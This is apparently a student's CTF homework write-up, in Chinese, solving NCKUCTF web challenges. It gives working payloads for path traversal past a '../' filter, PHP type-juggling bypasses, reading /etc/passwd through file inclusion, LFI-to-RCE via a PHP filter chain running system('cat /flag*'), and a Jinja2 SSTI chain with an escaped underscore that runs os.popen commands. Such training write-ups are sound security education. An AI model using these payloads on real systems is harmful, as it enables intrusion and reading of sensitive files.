---
# System prepended metadata

title: 作業二 Write-up
tags: [Writeup, NCKUCTF]

---

# 作業二 Write-up by owl_d
### pathwalker-waf2
發現這題的path traversal重點在這個區間
```mar=
<?php
      if (isset($_GET['page'])) {
        $safe_path = str_replace('../', '', $_GET['page']);
        echo file_get_contents("./page/".$safe_path.".php");
      }      
    ?>
```
程式只有把 ../ 換掉
所以可以使用 ..././ 的方式來 bypass
..././ 被換掉後會變成 ../ 就一樣可以達成回到上一層的目的

`https://chall.nckuctf.org:28142/?page=..././..././..././..././var/www/html/flag`
即取得flag

p.s. 這題沒辦法用 ..%2f 的方式來bypass，會被當成 ../ 過濾掉

### swirl
Stage 1: 
```mar=
<?php
include('config.php');
echo '<h1>👻 Stage 1 / 4</h1>';

$A = $_GET['A'];
$B = $_GET['B'];

highlight_file(__FILE__);
echo '<hr>';

if (isset($A) && isset($B))
    if ($A != $B)
        if (strcmp($A, $B) == 0)
            if (md5($A) === md5($B))
                echo "<a href=$stage2>Go to stage2</a>";
            else die('ERROR: MD5(A) != MD5(B)');
        else die('ERROR: strcmp(A, B) != 0');
    else die('ERROR: A == B');
else die('ERROR: A, B should be given');
```
弱型態比較，可以使用 md5(array型態) = NULL 的性質來達成
payload: `?A[]=1&B[]=2`



Stage 2:
```mar=
<?php
include('config.php');
echo '<h1>👻 Stage 2 / 4</h1>';

$A = $_GET['A'];
$B = $_GET['B'];

highlight_file(__FILE__);
echo '<hr>';

if (isset($A) && isset($B))
    if ($A !== $B){
        $is_same = md5($A) == 0 and md5($B) === 0;
        if ($is_same)
            echo (md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2");
        else die('ERROR: $is_same is false');
    }
else die('ERROR: A, B should be given');
```
關鍵點應該在這：
`md5($B) ? "QQ1" : md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2"`
看起來有點複雜，但我們可以一部分一部分拆開來看
`md5($B) ? "QQ1" : (目標要到這邊)` 
可以看出來 b 必須得是 false，才能繼續往下
進到下一層後，
`md5($A) == 0 ? "<a href=$stage3?page=swirl.php>Go to stage3</a>" : "QQ2"`
所以 md5($A) 必須得是0
整理一下條件：
1. A 和 B 的值必須不同
2. md5(A) 和 md5(B) 都必須等於 0
3. md5(B) 必須為假值

payload: `?A[]=1&B[]=2`


有趣的事：
意外發現 payload: `?A=true&B=false` 也行得通
可是我自己做了實驗
![image](https://hackmd.io/_uploads/rJX2pUxTJg.png)
發現程式根本就應該跳到 QQ1 就算 QQ1 被調過了應該也要跳去 QQ2
到現在我還是不懂是什麼神奇的機制繞過的，我再研究看看


Stage 3:
.. 會變成 .
那 .... 就會變成 .. 了！
payload: `....\config.php`
(記得要打開網頁原始碼看！)
![image](https://hackmd.io/_uploads/Hkv_1tA31e.png)

Stage 4:
寫完這題發現 LCI 轉 RCE 真的是天才般的發現，太神了
先觀察題目source，會發現主要漏洞在：

1. 使用了 extract($_POST) 函數，直接將 POST 請求中的參數轉換為變數
2. 未經過濾的 include($👀) 語句，允許包含任意文件

所以先試了一下 POST 👀=/etc/passwd：
發現真的有回傳內容，代表 LFI 行得通
![image](https://hackmd.io/_uploads/B1P8D8gpkg.png)


可是 👀=/flag 或者  👀=../../../flag.php 等等直接取 flag 的方式全部失敗
所以勢必得要 RCE 才能印出 flag 了

這次攻擊主要採用 PHP filter chain 來達成
https://github.com/synacktiv/php_filter_chain_generator/blob/main/README.md
指令：`python3 php_filter_chain_generator.py --chain "<?php system('cat /flag*'); ?>"`
送到 POST 的 👀 後面變取得 flag

p.s. 最後我還用了 `python3 php_filter_chain_generator.py --chain "<?php system('ls /'); ?>"`
回頭再看一下爲什麼當初試了快 5 個小時的 ../../flag.php 不管用
最後也看到了 flag 檔案有加後綴，所以 path traversal 其實不管用
![image](https://hackmd.io/_uploads/S1r4DUe6yx.png)



### SSTI-waf1
一開始先送送看 {{7*7}} 發現真的回應 49
那肯定得是個 SSTI 了！

![image](https://hackmd.io/_uploads/B1xZc0yT1x.png)
從source發現題目會擋掉 _ 底線
所以把底線用 `\5f` 來繞過
並且用 `attr` 代替 點 來做串接

一開始先用ls / 看根目錄有沒有值得注意的檔案
`{{ cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('ls /')|attr('read')() }}`
發現網頁回應：
![image](https://hackmd.io/_uploads/Sk3ycRJ6kx.png)


有 flag 檔案，cat 一下便可以得到解答
payload: 
`{{ cycler|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat /flag')|attr('read')() }}`


